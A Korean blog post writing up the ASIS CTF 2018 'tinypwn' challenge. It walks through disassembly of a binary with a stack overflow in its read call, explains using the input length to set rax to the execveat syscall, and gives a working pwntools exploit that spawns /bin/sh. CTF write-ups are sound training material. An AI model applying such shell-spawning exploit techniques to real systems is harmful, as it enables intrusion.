-
ASIS CTF 2018 TinypwnHack/Pwnable 2018. 8. 30. 01:23
@markdown
보고서쓰고 문제만들고 하면서 열났던 머리를 식히기 위해 전에 풀었던 문제 롸이트업이나 적어보려 한다.
```
xor rax, rax
xor rbx, rbx
xor rcx, rcx
xor rdx, rdx
xor rdi, rdi
xor rsi, rsi
xor r8, r8
xor r9, r9
xor r10, r10
xor r11, r11
xor r12, r12
xor r13, r13
xor r14, r14
xor r15, r15
xor rbp, rbp
call sub_4000F2
mov eax, 60
xor rdi, rdi ; error_code
xor rsi, rsi
xor rdx, rdx
syscall ; LINUX - sys_exit
```
모든 레지스터를 0으로 초기화하고 sub_4000F2함수를 호출한 뒤 exit 시스콜을 호출해 프로그램을 종료한다.
4000F2 함수 내용을 보자
```
sub rsp, 128h
mov rsi, rsp
mov edx, 148h
syscall ; LINUX - sys_exit
add rsp, 128h
retn
```
스택을 할당하고 eax가 0인 상태에서 두번째인자는 rsp이고 세번째 인자는 0x148이다. 0 시스콜을 확인해보면 read함수이다.
딱 보면 오버플로우가 발생한다. 바이너리는 이게 끝이다. 엄청 간단하다.
여기서 생각해봐야할 것은 64비트이며, read 함수는 실행되고나서 입력한 길이가 리턴된다.
간단하게 생각해보자.
rsi는 우리가 컨트롤 할 수 있는 스택이다. rsi를 컨트롤이 가능하며, eax는 오버플로 낼 수 있는 만큼의 길이로 eax를 세팅할 수 있다.
그럼 어떻게 해야할까
시스템콜을 뒤져보면 64비트에선 execveat 이라는 함수가 존재한다. 시스콜 넘버로는 322번이다. 입력 길이를 322로 하고, rsi 포인터는 /bin/sh라는 값을 가져야하고, RIP는 syscall 로 덮어주면 된다.
그럼 execveat이 /bin/sh를 받아 실행해 주겠지
```
from pwn import *
p = process("./tinypwn")
sys = 0x4000ed
payload = "/bin/sh\x00"
payload += p64(sys) * (312/8) + "\x00\x00"
open("dump", "wb").write(payload)
p.send(payload)
p.interactive()
```
'Hack > Pwnable' 카테고리의 다른 글
Helper Python (0) 2018.10.22 Shallow Copy 문제점 (0) 2018.01.29 File Stream Pointer에 관한 글 (6) 2017.01.24 nc서버 열기 (XINETD) (0) 2016.12.19 malloc large_chunk exploit scenario (2) 2016.12.02